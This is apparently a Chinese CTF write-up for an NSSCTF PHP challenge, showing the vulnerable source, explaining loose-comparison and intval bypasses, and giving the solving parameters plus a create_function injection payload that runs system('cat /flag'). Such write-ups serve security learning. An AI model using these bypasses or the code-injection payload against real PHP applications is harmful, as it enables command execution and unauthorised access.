CTF-DAY11

发布于:2025-05-10 ⋅ 阅读:(13) ⋅ 点赞:(0)

[NSSRound#16 Basic]了解过PHP特性吗

题目:

<?php
error_reporting(0);
highlight_file(__FILE__);
include("rce.php");
$checker_1 = FALSE;
$checker_2 = FALSE;
$checker_3 = FALSE;
$checker_4 = FALSE;
$num = $_GET['num'];
if (preg_match("/[0-9]/", $num)) {
    die("no!!");
}
if (intval($num)) {
    $checker_1 = TRUE;
}
if (isset($_POST['ctype']) && isset($_POST['is_num'])) {
    $ctype = strrev($_POST['ctype']);
    $is_num = strrev($_POST['is_num']);
    if (ctype_alpha($ctype) && is_numeric($is_num) && md5($ctype) == md5($is_num)) {
        $checker_2 = TRUE;
    }
}
$_114 = $_GET['114'];
$_514 = $_POST['514'];
if (isset($_114) && intval($_114) > 114514 && strlen($_114) <= 3) {
    if (!is_numeric($_514) && $_514 > 9999999) {
        $checker_3 = TRUE;
    }
}
$arr4y = $_POST['arr4y'];
if (is_array($arr4y)) {
    for ($i = 0; $i < count($arr4y); $i++) {
        if ($arr4y[$i] === "NSS") {
            die("no!");
        }
        $arr4y[$i] = intval($arr4y[$i]);
    }
    if (array_search("NSS", $arr4y) === 0) {
        $checker_4 = TRUE;
    }
}
if ($checker_1 && $checker_2 && $checker_3 && $checker_4) {
    echo $rce;
}

intval()函数‌用于将变量转换为整数类型。
strrev() 函数反转字符串。
ctype_alpha()检测字符是否都是字母。
is_numeric()检测变量是否为数字或数字字符串。

分析

  • 当num是一个数组时,preg_match会将它转化为bool类型,而使整个句子返回false;
  • intval当遇到非空数组时,会返回true
  • 弱比较MD5绕过,注意传参的时候要逆序
    • strrev — 反转字符串
    • ctype_alpha — 检测所有字符是否都是字母
  • intval($ _114) > 114514 && strlen( $_114) <= 3 可以使用科学计数法绕过
  • !is_numeric($_514) && $_514 > 9999999添加字母绕过
  • arr4y要求不能存在NSS字符串。search默认第三个参数是false类型。弱比较,输入0,NSS0,NSS1都行。
http://node4.anna.nssctf.cn:28285/?num[]=aaa&114=9e9

514=9999999999aaa&ctype=OZDCKNQ&is_num=807016042&arr4y[]=a

然后提示去next: Rc3_function.php

<?php
error_reporting(0);
highlight_file( FiLE );
$nss=$_POST['nss'];
$shell = $_POST['shell'];
if(isset($shell)&& isset($nss)){
	$nss_shell = create_function($shell,$nss);
}

是create_function注入
shell=&nss=1;}system("cat /flag");/*

参考WP:https://www.cnblogs.com/ForBreeze/p/17972192#_label1


网站公告

今日签到

点亮在社区的每一天
去签到